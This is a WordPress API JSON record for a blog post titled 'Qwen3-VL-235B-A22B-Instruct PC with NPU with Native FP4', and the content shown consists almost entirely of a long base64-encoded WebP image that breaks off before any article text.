{"id":31815,"date":"2026-06-30T00:13:10","date_gmt":"2026-06-29T16:13:10","guid":{"rendered":"https:\/\/letshuoer.cn\/?p=31815"},"modified":"2026-06-30T00:13:10","modified_gmt":"2026-06-29T16:13:10","slug":"qwen3-vl-235b-a22b-instruct-pc-with-npu-with-native-fp4","status":"publish","type":"post","link":"https:\/\/letshuoer.cn\/index.php\/2026\/06\/30\/qwen3-vl-235b-a22b-instruct-pc-with-npu-with-native-fp4\/","title":{"rendered":"Qwen3-VL-235B-A22B-Instruct PC with NPU with Native FP4"},"content":{"rendered":"<p><img decoding=\"async\" src=\"data:image\/webp;base64,UklGRgRJAABXRUJQVlA4IPhIAABwJQGdASrvAUkBPjEWiUOiISOjJxGasHAGCUl8Ouz0GKO31ZzRNbjNTfha5+vwe3IfV\/mT\/b\/2n+b22f53\/D\/5X\/ef4T3heCPxH+7\/Yz8gPhs6K\/4H+L\/J75b\/7H\/2\/6j3W\/nv\/a\/2396foD\/Vj\/Xf4H8dfo9\/u\/2T98H+H\/4v\/F\/a\/4E\/0P+7\/9L\/J\/v182P\/P\/4f\/A95X+V9QX+0f2b\/w+u\/7In7z+wP+3H\/29dX9uPhc\/qP+8\/bP4Gv5v\/lv\/f\/sf3\/+QD\/\/+11\/AOmv5R+mrzH\/F\/j30d3sT\/aPnKxr\/K+C38t+7v5X\/A8dPAI\/Gv5z\/e\/7f+vv+F8AD1PQD\/pn9Y\/uv5pf5D4z+53ql85XuBf3v+3f7TyvPI99R9gb+i\/3\/\/ff3r8wPk2\/3f8b\/o\/3R98f1T\/0v9X8Cn80\/qn+x\/v\/5PfON7Q\/3E9pn9zCzaehkgtTd8f2LqdPn13fzXqTcgS5RCYS\/+IEqeXNqSiMOb\/VKbiHhWntCUs5wpi42Db2a7pX7m6ocis5QuJ9y2+vS5VfLJDLTQq1POfWtQPUdcNGFQ5+V16TEfXnRofgu3fPYq\/i8C4QwIAsVFzO6oI+v2jqajdDlck2rDA33863uctMzo2bu4F0WMpHLR3ZmuhqBgLT90eYogM++DIWHDqDjfIRVs\/K+CL5MiulLccFpmpX73Gf22rQtlCkqOfVpgi3dzQhsL84\/c+gRyDzFY5kxBYtPN0zcqbeGqrO8T510HuqifznBi+52hIZqLSMJEsFFww7dXvxsxucuYwWK5L2YL1o30e03ia0FN8ZaB6Tcq1YvjD+7ouicG5VR\/YuBBZzWHWq0DaVK+yOlaKEv8VO\/XSivxCbUhdly+yyzZptKW0IziJ7zN5GMQghm2+VWIuBmplC5sbZ91R4b0DN8lwjyHvMo82tnK10aFteP0e9TO+pxYt4e6DOmEpDffWu5w7DKe7pWUYHqGB4Ib7wlw6qIyeBabeQ7CsNa8xFY29++8VuQIemS\/zUVYS3wQWe2nFFwOqIJsLgEBLYMpANzUfUOqp\/sy0pgcH4vWybDPAd5nq95MveZ1aeG89LV79lEuSgW+vEibbMvTYGAlQJxkONYL5lbTzClZW\/wT2QtEJaBZxBWIDy8RXBdF2ykgF7UqJHuti0VfqU6GEiteROqtIh6ZxJiozl+1kDuLfGjAAc7XF5NG6lAXySyLJ4pZxcdasUcEskHlvFISSrd7qn+Z2lJZGC2ysVNTNwbKvqq0+J3uRHiaoOT1IS5Tc1Jso1J2oN\/v0lkEssENflpLSGfcQr8c\/WZuNLOmyG1QIBwgbLEoibcWEJagLUC9Zi+Zt1c8GtSwPCJWxf1UlMSP3x\/XxjASPpypNZpJTE\/9GAmCQfBti7enli9rVTvpTLYrDR4Kp2Y+CsSCuh+qnnYEEPBd238SMZ3KV5t3Cbq37TwnMtHZxZHPE\/6ecAOaD1P70C4b9sD\/joEYPqe0\/67so50KPYacbA2N1fFVd0ldFbFVhfny8AKrf5W5hWvwycxk5ccUd6Z\/IfnF4BbuCmSrjHpAfpUoV0wSTxhusqL9Lj+fZUEicrIIlW6xtmqT1nE8oEO4PjFOBbIa0X7r10E8cpuRaPofHgTciD7y4jDnSnmUHLqxeD54BcCpnNn7tXevIiDy1afwmMHWHXSyTb4epfICSHhdw6JzbCEZIrJsh3U11FFa0DFanbZIv8NnaqMbo1h3NqkQYDTviiop9NQi3lhYuHLp288vIJn6\/fv02hL4eFwIx6RcSJ03mfD20LbYXoQFazlm4GozFAd9OR56Cs+3CeRJzry7YASDlh+tKbBpgMnLLCDPfCAe+vHKjRXUDG4RYSyg4PWTCfEZdJ7gTB4a5+84tSCpVR6Jm8xYm\/ptVta+JR7ZXu74XEpLK9Lfld9vrhvF2RLTQofqQcTWvuXsS4psAQ1QiJK52dfuwFlRZDxR4SjIW\/sk79ZrflrBfTrlxnBUkgh20RAe7yq7HrrwcyLLUNEq78IvjKDw9vuhgRcl\/dhjDj5PNfqGSsEHro3t02pvGwPuVCEgTF6R\/aW8ALsvkQLIcgNiXvBWGDQbI1qnqsdlKGG5i9rhQbLG0vyFnjTxvkED6ARlRR3LPxe4yB8BXrG0dIYqAak6bXsKfDX9pdis687Tbmh9h9UdyUVb+jjYzcmFpSYGRbwYfiV9p4UXOaU6Qb2lDP+71PrIY0wjLJcnPePa+krcmx2LMnB2fGTHqtL3Tl0zOuJ68sqaCWAz+z1LrcyAlPCnoeVuBdiMDFF7lH+gYFvwfxMEh2x6hQqmeNLAr9MVno4w5OaomZOzknMxQA80LaCDPLArINqiuchVAJKZycRy6TjljC21kwCRqYTvHrqoN6jllq9Li8Fr2bhYiFgpLk3z0d6CEC2KEXt4UD\/lb0OsdWxhn7fppR9Z\/nTf32lEWJHfgCe\/qSD2OZRf5esxm3pJvFnQQdoSHVqZCwmTfssY\/bA4ukZMPJrVZTe9Y9ef17+zZo+nJF8oreZZMkL550Mv5bS+xCHErtQRLv0BKjBVG9uhSQQYZ\/heSIxo+8Zr\/a9qfOWSxXLh\/YDmOlddlAKhAup0YcD8RKDmcAlkWC6yZzJewKQYZTtSsfZvk4pByn6ie4jpwXRD3B3ZX3aSkBKwY+x\/w16bfarGvZeczr9AVTU6EBHgz140O2GjiNskqZVQ0uUVB1tFaPdq8YzaF2sQ9GdvtWcuGgnCglqZcT4fVvnfVHqI\/rIS03lqv6i9MbyFcp0kH1XFJchII+wu9SCOAqb1ORrPz4pM3TChvLwnaTnZKIlclp2TuTGZ25cEwD\/lWykEaqXx6wZPNnGHI7k4TRf0Qoqs2Scmv8eXagWjpVmeZTiXZr0L7qUfoqp99R2M18TrKUHtWPDVskNIxPp9+r\/retI9\/8XekSW72pcTyRWWVJXtp7t0met6zTAD8eiko+Tnsg4eRs\/GVmZ95AK0Mpq+fei0UaLUkoBD72MRuewZEBmrWoaAhMUqhbYKwtpDJtvKtxH3FugTCbGrVsq\/7z+3tD3mhzMjryuBqDT2PKp2fwM4osWL1w7N1pxenjNWUSMyglsCHAM73jF56pjJ0weWBlCb1NU1lnk0XIXp+hViJdhM1wHEgAP7\/+DrsPqJyldB6iQr4tD\/VekzNncHLVMhbKXwFGMl5A\/oEzquVtr6vpCmOGx+4kF8gaHZyLwvk9SWKFB5i9JMCvodSbAEJZucYqUYsdGbkUKMR0JgzvPE1ropoFbKLxjuNSVfCqS9Gt4VghjGtcQ\/SYbE1vuNk3MVkyGFf39lrIBfo\/+HNAQ\/oo+\/MCGqE7fCu7ygc3x4ceOSiPbCxEgQEi9NCMM1JH65Fy33McGcNK8m7iOiNb5PiMpBjOf\/X6933XUVYtSjsS31RBeGfs0d25e4XWeIiwwf1ig6e6AHpZuJorheYbhbMBF7rHwlXSXwCxulawkq2sxbh9ep\/xauDA8e2vt2HO0dZtqb+PXxh2h9LS8PcNZXPe7Q\/OYDD3O8mxdOEJ6QSdf6BFWr+Y3DDHPNA+q\/fsyzVyK1Uhza8GetfKvAshaOxiitYgY7LSj5BL2gRtrSQpCDceDM9m9rGYf9fixzvnms8863XI4Y9llPHVPdz\/Y8vRQqc7KQMM2s00Yif4XLnqV2E4rcxL74j3k6mYsiNqkbAVMKPl1jLbwGuzuvxAC8rwHV+N5c\/hOjsF7a1WGt+b123EKy5\/V1RAqg2p2auA177x\/EPcQuzZ7rUIBPt6zMRgaxlCCLCkreSXryV4fIFqtKogzXSLKUB0QWucVF3S98BgmR2HmsB9h0oJhLDCAh9Sldpvar8B3aAWyZl\/WP2epl+tAeqloSlwMDf1XrRgMewntF+8oTsi0jmLWIEfWjDDKYs3kQJP\/3krsULkQ1I1da3rPdZqR0xb0qP7h2QmfrNHJ02Y4qMJd2\/9wdRSNy6\/NRz8smY5Rt\/ZjPeRWp\/BY7Nde3dD7oiC7cyPkgZvmxjRhFcvCjxEXFDkevsxSXI1EAFn58pfBVOTYC1KKrd+xoVI6OEB1urmVvxUMWiinU8mhDphN8MXgSlqGuSqewE9biRN05YUdF2ngZ2eXB5m3eE+BNdYcJ\/XqgQ8NPAHbTn9UK8Zhta\/IXkYBXB3fPMnuq5r8NcgqFDn+ZuZm410xntoWto7Bfm2dFMWclnZyLJ0eZCCEydSJXH69wMjvlY4ekByZZR++S0uZiIVNiZRu9V77RKFmEtx5UVgHUBMdyH2qj2wOvnWKcD9NTrktsNYhv0uK6+DGnowYg1ZSqap1dl0xHw8BQrBcSPLVcqp8KOCfDTRaPBQjTt29ySAMZfv8Sgu4qbcFOqu\/jFpxWJXm\/2QK+nu09VFb+O1DHW66L7vH2yrKi0AU+RpkYLuv7059ixkbiVJ2X5kojLjuPKV5jz7DXllObd9bAK8XZZ769X7V9tOf0RL5nLAALLrR9pJ0Ajy78k1zEsX+65azdiCDCDgWW\/SlplEm\/nSMDNNcgMpSk9MVKj+T+pqYjEss79wLvyFODRMS8a\/7JsTQMzLacu1TnRGcLfvGkM9AbfbIoYMefYTheRtZtzZVmHljZtKC3sMPyA2SApjR7veHkZawx6eTfalgnauWgpJZadwizz1DwupWeXFIlgs7Ec5bPSY96wzaaVDzqlWp9unwlPLkH0QKE3gWdPUetCUuJKHt8pXPPD4Va4Au3RAPlcACz6hgDsv3NmYuuXdUYcvAMOrc2+27ioBBnExO09ARAerpjsxIs0M0J0WTYweWj8BI1bD2gbdef+0HBvJPSpsr53TfBWo9oRr0zzYS1dJiyaVoJwc4O76nT+Cg3rFMG4xJqDy4u9zMEUAeWjJ6d2N4uhSVzaxwQE\/MdtIIInrRhr+goqGbs37qFG+eNRR8uqh07qYNahP2GMnqOvrGlO9MMtFZvxIum2DC75dz3qxkXUQnDeo+l\/RDDFzH3u2HufI\/waMUzUB7yUP1eHI9WoxgvTshkjNxhYKuupEER0cqTVc0yRPFyoxgkQ1lryYdCC3n4o5+zBhdzcpff0PJLv6A9iFjaoD7+Op3ZdOFeHWli+EesOueV\/kG6OhqGPcub73Zfcb2Ao7NOvxcybxqlkzD+QGqgsrF+3F0C4fZyyPDR6+qChvG5gBCTzmWx9\/SodnsdqrGqekqqAaJbw7EwqKhxKrLB8hDE7GAuJXAjLvdVK4axefaOMrm0FkxKLikwOo7qdionljVusjzOdmKlZc1PhCiQkSjFOIW0lwmWV432\/w5MHJpmKq8AqMZuRHLGnkmGdtJ6TJ5IKo6MIPH77U36GaLm+T7fu5lcrl4laY4X2aoGH7V11OWu\/OdJV3ogAQ0OMYRnuxhbv\/bUORuOrR0RNWQuTVzb0XmI1F\/rhCXnA6DZZ4LgagwlsxqV9rqBJw9z1oiq2Jr+vONZMKzBiNG8imYrZSioJKsInXd\/VqyThLV1pzKVnf89LoGdabPare3+QRiVp1QMekliJ1TUQ+NsLJjtsHbJQR9DfClUaTlVQvphCb2ilJD96suldwyYf+JweKnewZrBnDEve365K1F3\/yo0IAP72F6S78KX8Zmf+hvsCUOXczQaI8xWLsXfqCM6NbPLOW5DzMKWXU5nsMpcWXNKRiV0VCeX0ZRSC7lwA0ww8YvoCdnjuF8oCCjQ\/B8g1oOSmrx+SsyK4Y2K0O7vvRiUu16jZpkb7qGVEeGW+mFloh241pn6LDtD8N82QtySOp1aL21K7xip6hzANZD3DzILcjFdit7hRZeVTs7BAWSYvzYgMpDEt3xFt0Q6ffW3pn\/fWHx9AsacOXKf2pSMjDUOdpRoNjyIyHVWa1ovilhqT8GLnfe87\/5nL3V+O18w0vL\/Bn6DEl\/3m55xnwLrxhewxb7mEvCi7ibQu8zS1zt8\/hN8y38HdAro\/lLKPT80rTlanjMUkKZ9kmiGpsrWrtNgeM7uCTG1mxxMaxzmKrBV1gFjgRpz24HrWwQzAzoZ5NqcOWgMZuePwP2S7Z6TUgU\/R84LTyitm3ZWn7b\/5mdMJQK5MG6zvvd5MP+vPQZ5TBEAfYHHuMK+I6c4yLX97GGgMSEpx8PEuZnsSDwoo5cYIyRyo32DgLQH\/KGJdIsC8JvQNhvK9opEhMeMqyaGOr3LGLcJL63qzWV4Ji4dV22o8Auju1LDn64e52QCDdTFpNqaTbq9+MIx1Awi9LYxDdlioYLU5V3lX38412C0Iq6Ms\/8ZAkwRBf+Rw\/KE0LNx+0n43IqfnwTdaavxIhVA8ke7jY5r5jUINjStc+JBKRidP4HUDArOOAzYsyh6ruhtFnLuWZ2xEeNwoQAW1bNspA+08a9CTCihL8b76tT\/pRzpixdBQuCOZvV1bYyayi0XD0zvZBqE4tbOFIxXYxv9XTltZpD5neC2MBzBbHIxcITm\/2AAclvjcnwzOKtUmyvjPy+gFmdgukxS\/u97X4as34NAiVq4EsnRIVHu3lJar7IJaVDS6vjy019mhfvd8t5y1Izlsn1kxiTqbYka0ltdpZQy5jCW9hTQ8NZ12qbkda8wsXzhQi8D8UD53NvikpD5kvkkNLPbJhK7IgjR8J7ue1YYZS2UNolsjsHaJ18RS8C9CSUlV51w5jvfhLjYRamQkRy2GVeYE3hAuZWVjB6qoXzXRJbsXzl0Jii\/XReZFrX9JSuDP64bEItm7b4ome4mpKvQLsK7Og7e4oSR3wgUrQPXtEiyqFVZBUO03TGZ5Cbwm5Eulq23XyCLSXtRJpkJgg689xc4HtSxcIqeHxsk\/kJQvfpaEvO\/Ip6k6BfaZUPuREUOv9g+l5DRoLpzL9UcpA3VfOruy2FtjNFQaxUJcSl8ZCTX\/IFbi8Er4foXJZZbczr+d4RogmnsDXSJno+EoyyEyAvEKI72aJc2wrAGRnE9S5VPWu7jperHi50ATLv85yJCP5UC85Qz3CKKLdSxqjjJWgOI3+f\/7rg6sDS0TKhz\/qSyMspevVO4Lgnk0p+9D1hWsZefIsI2GHx\/FmSPNk7gvx7NMRasRhVraZUnSpZ1algwgnysoS6Qv9\/\/TzIcN7egfugZudJNB5y4Gad7mil\/T4WZjfhCX9RjdTKshCaQgxunn27rJ3qgXq5WZ4CZK9M8fgEB+oh3ELxAsx\/JhNaEYjAVSan8LSW17nglGW5GwYYjvubQdghSSHqOCeaxpdWLN1WAsdKHAIlVLy+12vuxwshVnMnpiM8M6zFXOi5LI7GRuKODhhD2gCfbp2ifWBQ12vmV1IxVBJZW9+sJCDDT\/Rz9T3mF1tYoEFWFLN4FysUWNT0psA6s2AWgE2SznUY5UEGaiGHvQ+6dPnZ1iOVxZkEVD3iFAEkhXVSCfSCBbv8C3Zad\/J\/NPtuF\/tLDQLd4cKtwh9jWL8izTX4IiK4H8Li8B4+JuZP4LhpU1ViFExwPGSHyhlRW3KHnh3P1k6wvtSnrbNrHfSv6ObFAlxirAakOW4cMueFd+khToqc5W+M\/5onws2VNK0AgBFZ9crxru2VBzwv07ZqwzSPeX8jVAaDgEEEs1bSjj1s5zBkIyDv5a8ChUp8w2QDNQ80Xu4C0AWDf6xFn8L3f4ECgWGcWRF7qprIsxYePX5XG7B83gnfRV2Qcug1bg\/mGn6nNHNFTY6sDr77qfZjZh27NYPxTpY39fUsEQFxomD8B\/JSyU+zC\/qkR0UpqVMX20+EJbflgC7+G3grOXSQ0LRqCVbhZGGQ0SGLsINBTN9EYS\/h2T9OAEYRSIFhOBqkBZelcP92ndEtZXlz9SthCKsA6SUJqo0RR41Jp7xSldZsREtOCKPr7S0SDx4gox24eCmTnCwBjWcrKCimPZZ71syNdk9cByCh0QjLKvgz9CRfP+0Ifkwwv98LzqgQwaI+hEd\/OWJbpVWuTYm4WdvyFP+Jw4fmx\/mjNR\/TZe0s5RTCIv4SSoKcdzLY9WjGD4aTp+NHg0+BupoVHne3UlB5L6DaetJ18nrP5rMH88sGJGqsH1w3XCF+AfjiCjrrDnEYDT1H2oBjUYKbP3OFdxX0pzSByD3TY3jscXcc42Wkbzw0tsAnUVYtLQ6zJzYc7+tzwd0udUQ2Kt0gJKayt+XUJW2WX1\/XPMxKoS7LGsTbvesRgiAOZdC2nk54C7fWjNQMT5nwvYI+BjJIeSiZJqd9gQj5ZtO3Jdfm2RwNEogiy+mNY9oFqbDfDFUdFiCqnWUWsXqh8D76x5zjuykJ8zylzEi+gjarHulalnMG1o5736Hw62vzxyaDHwn9kNgbyRs0tjxNo57IgAMe4xFuzTWXjWAOizE6RtnDLrRp3Z3yWaH5FyhCMCg2oAg70+be4IIk1F7wkysw3eI7pw795EHKPlQY\/iGf2EQp84tUX59qvsKcbs1DENZP4HEBBpP3O890q9eqQ5sM0RhNHp96QF+D\/t6GjNlA9T3jW+LxbkILkQoZMvIB0iOz0shu+Mr+9XJQcFmIvEpnDV334VYNaQ+q4PILlydKpMOi72bwGgYCdELgtfXuV40YJXGKjQW9Eaax5Q2gppesdWa0BrDGpRsyy8z5moAChhVJomACAVQvDnqcbmz+QfV5mRE\/T07Z7qMjnQDQMS2skp\/ks7MtNvRVEsLAx26sMuU7kziTjZlk9ZTSphOvTVXPv9NeJFO\/gPIJTJ8jnA6M9TfzIyPC9Z8\/mECHhbSSnDNYC0PjLsN1hpqPwUYXmEAsaDXW7NuvpkkfvO3O1dpx8o6CdeA4SRm+CRaAt10U8vyZLuQ4IvJscU43W15uyk9tk5sUFQbAL5GbxtASEo8N\/yqxZ55XjlHR8yDVWObhMdoF3Lkf9UIqhGvlXUUNWA0BqTZBhPDarHGhnx7kzD2n9uYOEQBTIE+qSF2l5xpHaqd8TuzH\/bngbgjEmFD4Rp+SRThMDPmcIjXeyTzQeby3Jpt+6cQE+\/cNPu7yrU8RSNUrYP3cahLg3P3NfVnWX2gapRmqQvI+tlhbyrp5oHSzWIpllr9aBgiQUbKUXY7yKzOBoteZp5Dw2tXuETNQ537B1RWtkdRSJDPNfYNj9mPAGiRAZpNsNF7T3B2jAor59e2BqZafL1YcW4An\/KK5nm4jgRkzif2hXfejFwf\/t5G4I9ETYG3\/epLQ1Tr5ItLO8Lu9AqmmyRrTrdwPvZpq+Uz40ZhtK5aOGT4SZQ6kfz99dvILvJACcP9ZOqui9DAIC9j\/AUX+iy2c4zxFuec8J9K95xpGxhDmSOCPU+wNrW7gOtzDKWEa3ZJ9tx2t8oLdmobUh+9TDFWpiJTMtNSlmUtNQH51aN6rNffhFhw8IkQkba6ijVE661+e7dTkcA\/kZnZbua5YUd\/fC6RUVkyqWpnBwhTIGnvxCue2KE1hZShyvhAUfk+FEESC5IrWcXp\/mjI4inyQ3VnY4Qs+l\/CFlV94BTRluKB3Sf3zwx7Kdb7FBDtVpkxD62p9F\/C2jXUYGFPeqSU7+I3e5gLBwqc66ORHz+GJMFu2GM7OaVbR8G+a6HTFTGZv8TpeFZPZUPjuEKMrKPLe+uWcbpX4xHYMygcxq8fwijhxJ488ZccggZKf56jDCW9MI3iEmfcIYep97CbwuQLaOgoisNOYGIlq13heDYDIEA2BdrOw6VlllVydfTYpcerpPqA5atZ\/i5oGPZk+\/x75FqH9P0H60oUX93QX5D0N9159DDsO5S1L9qhqzMWHpZG3DZb0YnTOnefN2iGCRbFFOh062g9VuEkK7BWtVhi3av2WDqLb1xwyprKiFqriozdvfNiHiqJDiKe8\/+06bvTBQRSPV+ZrqhQEOXZjJ\/asgf1T0o1YhBD4j2zuuKbfVAedkgyxvuJ6tPYyAI7OYbzw7kAX9D36qER2p8HrVs5h+vYY4ml+VyxQmL1KJg4\/d4dups0vOsiL\/SozfepFsWquuiKxF2c8MHxxG4XzMkX+cSWBfg0V+M4\/APCoNL6JaRlr47FA1rMG1m\/i17Xrf34oxit5g\/EcM2LYPeHwaNd3bEbIGFK9\/A9ePE4uAh4\/DZygmNsaz2KeF1NM+yQGTiZ1LtVZY1XlvsGGSsrfNg42toG1Gno\/QZeJLrQgw+uizi4xCLCi25N4ySfpJLt\/UAX6Bkm0TNuLY2qIBeQA1FHzuJDIftQPNfd6BwcS2YZWrUHk+s9DFAuwZ6yJe1xna7CFNtbQ+G+VyBVg9xH6VvEn\/ktIgKXkzHCf249kyVHH0mF4zLrIO6hYNY4MScC7vx+OgLdnGJuhD6sUB7+QQfKRd6+UgbMV8iHK3HhFNlK0kwHiCPfvlAZgIrq3X5+kfI+96Jj0hfYIpHP0CfGhZOu9KCVoZae\/VKIC7Oq2Fhk8iUthNrOEeDJA0ee+rMP3EsnRV4+mKCWS0tHU9MTnI8HyU1CYcVVe4sEhcLFiqLv\/PghmnOUmbdrxlsHjxcw+kPbpuHVZc28LZkkzt3ITUBRY3JJj+PoNyagdR96xoSMVNS+JflRbfERVG0sbuc\/N3\/J54vyQSjGria0PgiJiqzL\/t0IMVykF32rv4i6j1gvffx7iCVRaJzziL97ms7pq\/stMkN7DIlIYlXaQmHTKuO9J74j\/eyesCTg0NvSG02ZYYEEyw+n0IETZ1Hx3Ipzf8cJy3o02mv+WILvxQn1VES7vWnM7DV9qFw9LV1yrdkBURcsTI1uUw+lc35hKye7qeUIz9zUxjrjTNIxCtMoklL92M9Pe0eb5TGqPj+1kS7QxhD02I9QzWyT7cIZQDtIzRYia0h8Pwt0srObHecq1VTO66NNNLK0qMGz3qLUOfK2VUxdCFJwjOq9EMML1n7fcYQWLCD62D8r78aMrNp2jtsGMZSWHP1HrBn+TtzQQv\/oj2+wofWJBuvc\/vTlgjA6AvdhFTo9G1+08fv70CQoEjJsElNOB9v\/i7Hx6IVtGyh2PckrRONN3C8nIirBCdWtWS4L3P5wYvfOE64tOL4YN6YfIJgW46IVV4gn6bB1Pdi8ygMteRHfhnDccCcaHUUI3Y8TxeErvbTyujqoqfqQ3onpNt6dB\/ClfK2Sa\/4oYSeb+ZSsr5CRzDWSzibv9sD+NeXeullruLWgH64feRr7BJbbaR+O3rU6qNKQQkMu6krGQWQhm7MI6VdxXkaCFW1HKoAGzxcdckZckF15a+0TcmCTfBSPR1Upuq4DXPYYZ1yBViHste5fqSdDSRrjDK8ypGo\/rJOB3o7h17bLVLO9hcTRyzgLr6RY77g1WZRCXKURXdN4Nb7VH8C\/6T4n4Z1l+AfCPql0JFbfN0rYxPzvGBGo6vPkLPtVW9fwc9v24+teEhXFCPlk7X+AqjUcjk9NuHTjNtWcRRms5iTuoVvPPq\/cvBeocqD1mQB\/9SGOiZpr+B08S7KCmHWsRqupAyO74YxTf3BBZH8Hxap+OMY+gRmtA6\/cI6\/+1qjZbfzeNsnCjqC70ECowcb0v8VoSu0NZFYlFS72208B6DSbcY6V4qcbm6h3NrhxW+J7nofJkXCPEafYYlEqFXebbPsmAupA9anxEvstnDUKU4OWW1QBuhm+OYihh7czucUmed84peU70XsfSxCEAtSgXSigwxoyBOQSPHpDsafXJOPC\/aK5Mo+Kh9a5Esr1vKzMUcne7Er20U6M81OOu7bUMcf2G+G3xFpFkXh2vCm7JgUzOx5q+InDQfwbsXA46B6Rl2ODzPNZCZE5pzxqMJeR91BtFCV6nCpRrlI02XWtp8j1DeHhyDK1wWK6Y6QCyEaHW9+S9FDOJXjRi+798IBouUrB2DAeEEf\/8XWDm1BDgpHs\/MeJItpA3AJcS+ez62sOkqJXjqMlFrDIpwOfDYk41Xch5DzADK0geIsy\/MbYT39MAzgRusPtgVU0PEOOS1RcWewxKpaXk8PPHepHOOlhS+4WXmd3uNYifevkrygqH0hh0ydzUleBFFbJS8auU1hfhUB4hpVJ1zl9B\/H8Aqozwkg14JZOPUKwgqjfdh3j6TQLY53Fa+HR7LKRo\/DByl3IHAk1Dz8Ir43cFKJ5qOFX+i9IcRocJ5q3+k\/EV5mc9RzLWRGAgrDPx48M2mzLwFkBSBb2vkxo6QVxQc94ulaeqpvPDmedczogfSxYkPsrxWt6P2BVRCPADlxacYOKuB9n1WFbHMUdn5k8dN9XyU5Ca6fYw4tehGoZ9zTY4nq0aMUlRZsU9v443FldjtH2xDhVsXn4TxB6gyKHaKYbwqfi1nfhaE4SnpvEW39qB8fO4powbxggVgouvkKRulEwwHnAImrTwB9W2Juebig+2oyaQpOn8DfM0vFbqs8L\/CaqzMwgH+mssem7mydOp6gXK4ISFS5xtjxHj6N90C94yR3J7zQBMu0tYIuNGHOCNuzlM65G\/y3eq7Sf55qwaQf582BaXORT2BoeQNYfBvblfZiVe7lPTluLm1L\/rKubZWHUK8Ttmwudn7WrXMc\/Vw8s39pZay7HE3hRygrG8xFZck6oNGpvmyyGRCxt2VmDzYzVvzS1lGCUUWPW4+DQVVPYoRvs\/wPABFTgsATZtGZCx8ymCTzkpd3CYKay2jEHvjRyTuT38vfPr1arfBmiYb15xPxKAEmEt54kII74stoGaUTvvGkGfiCc\/D\/GJb\/GE4T0wRL5CTZ1LPw0FsNDboX7Qu6BBXbdYQrlaZRAzS9amltLXFWSlDJMFyJdt3LN9RcUihIatdzru3PNtFI2KzPmO6wwnq1a0L4P+kTkoJtkPQCrq1leeEmIIBTugQr9qOqQKo7\/6TCbCAi0DaoGA0rT1m+gF+lQEYO1gdf3wABpo4jctn49F4fO7DdmV4IQPYAF2W3pNzdehg8GdhnJxcwLZHXIh9LhOzPvnqmbGvRkGq5b9I8c80XZLvMEujUvl1ca0bEIxQwTSocD8Q38PkKV2HjFX2IIGu95flWiO2Y8v3zupIpzmD2o8s7TEPysdUFzrg72TP9wWCEhFXEGDoZVOJqS5UawFnBsle91ghnhv3Gk3oPNQA+o+uqs98QJ4v\/ILB8\/hv4LqL8qfIWTGL0M1Qmxvj9BAQpDmjZLVvnXvd7RwU0iUC+sdjKbI6qq7N1vL7OO\/B1gfVed324dP\/bW648YHZBTG6OxcNZ+ftWQNUITWbte5ethA98rrYGA\/Zwv+snFHOv0uYLtT1B9OMzBWWztdF4MIVQzD0g+QKMooGXxwTzJTwluIgZVjr0ZvpYgHxncvw1avqvcWAm0GYUDEX6kX0e1BkBEnwmZAM1JEo06u9bcU0xuV5lFYNmWk5NxVLZsHmj1cTvyIKwkzG+sAitKrVO5LSnFT+NfehuIlZyMRu2sNtgK4OXY0t3qnwap0yYcSfObkYNUV2UNoS5pJs5TFb1w8dFs0HTjmDpPG49\/gyChIdjwKkbaRvjWzNIuK+u5Usu+7pg3W\/Tsb6gAm+RUdTeDcEDVstunLhCqkVFXZCEpLPn\/2XzT0TBAC2ZDUvRkmd4aM5vxWss+bpazNAMY0gxEbWhi6EKpIg\/K7ItEyjrkadnFr1A7qaVtr+KXNYt7qdBF0\/2dtXMddNyL\/vJMZOumzryzzdHFfU6dKmJo\/oFJUhV7yVsCjfh6i+CwyKn3nQMFnUw\/vhVz\/rKrf7fUN0fdCG3pyMVDJJHEPY+IFq7e48lRLqpTfx2WRYednsNfqksOUSOox+1atMrZ1wufcqiRC1kFo+QQwCE+x\/TIwI3NyKcMmj1hSEBuRrDQmiehx1uuXZskPynOARzCBjUWEcWbn7kAmEC95szFRMPTGDcQeamn+DDulb7h4pORWvBGvcggyGkOc95WYSNff2u+XepG2Iezb6Yz3E90lAD2c2q92K1SBZ0RUlTBYeCZMrgECqAD0q9oFmxYq4wCOxFIYS31EOhC2cfzQkMZVkhJMIdavyrGThOwsJQZUXeL6DTTnvVMn7UiuOfimRB6RKASvgot8+r5CINUKyR47vZ3EgrH62Zsk0umJ7D\/64\/l3Chji\/aGHUN4LP60jiwE0atOnHzdRHBE3JHo6zx4lrdYtSKbI9\/cOsXACBI0ayhsF0FVfG\/ZhOUBr8U3l+zGhUIc7hIkfeIsLff5zR22+ve7EEH6FSMNiBZ7Ngi3iuZ\/YxL\/AZCVJGJH3JbqI7j5Sc\/HZ7O9CZKI\/hev40bRt2gxP5OYSQztth6mlMXyfUB5CH9Wy\/rhsT98T7dVF7cDxBtqMZVmp7s8CaeNN38Xy\/RIfSjRLYImLxikkbNAGDQl1JIi8ALrkGcMyZ+ZfEt2rfJLsoyA5p4jT0aLYlrxTSqf\/zWvKebbooCJTlsoc36gj57CuT\/fomXVjWvffMuWmeiCqb+2s17+K8mfnxTpO2wX\/5R2vT+6cja9mIJjOkvszRAB3ldmVVYmkK37V2JdJkiLmuItZt2KoSBTyXD2C8wPwv6Y+Xu1PwP1vlHmz8749gOda5P1dYoGXBK6bpr118k7xwuKWd4CjZESAdWqwwqLK1KjK3SmA4zjO1dZssuTlUoXmh\/KBRU1Uyg6kjOFEAxATdniNZHyGwck2jSTSSjnCTI\/A4kgZE6advKV8HY8vV7dZ0WBvjnm3yINsRBCAcxsToFZagWsWpEmpjSAKmJRI9\/RY3\/ru4ngxiBEAj2yRtiylqgr7wa7hURg3vbNLn8Y7JVNzhyYV7QkTSlaJ\/zxcP5opzTx1StsceSut8\/Kh4KWeW68dE7bmFxZtlkEWAZNMrM70j1gEUGO5Kp6GHw\/yXGBy4VXSa1rnMFvcnKjWTu7jaOBIdfUBqqcatM3g\/D\/KBqbsrLzSbJkF76zO1VY5jLa2pnGyK9Mj0yS6yfTHVVvMZXj2RRY1E4a7AOuakfGi3O4\/qI8I9Gjrhf0bl15evHx9aoszglkOhRnYPlPrKJUk81AZ+zxonA\/PsHPN7rC9odZDRaKpiz9cdF+Hjz5gMIqf\/69abnym6X1uGx7fkBWX9GYxDSdlZgAh4DDyQr7+srOES2OGfvgydr4Fsw1E0Cq+8MXGCge3HFG+YIOy8z2RZdiRQiCCEflUm9fixS7Wue955E8krz9aGbzT6gdQzGl2uIyc7iPAhFVeOAzXrkZFT0fl5Gr61b8RYOTvhMW3mSpq\/bkyRjHL6U\/DZd2TeUH7C7n3eiG63\/didXqdkocbuDXCf2tOVsKycWubRw2KSvI67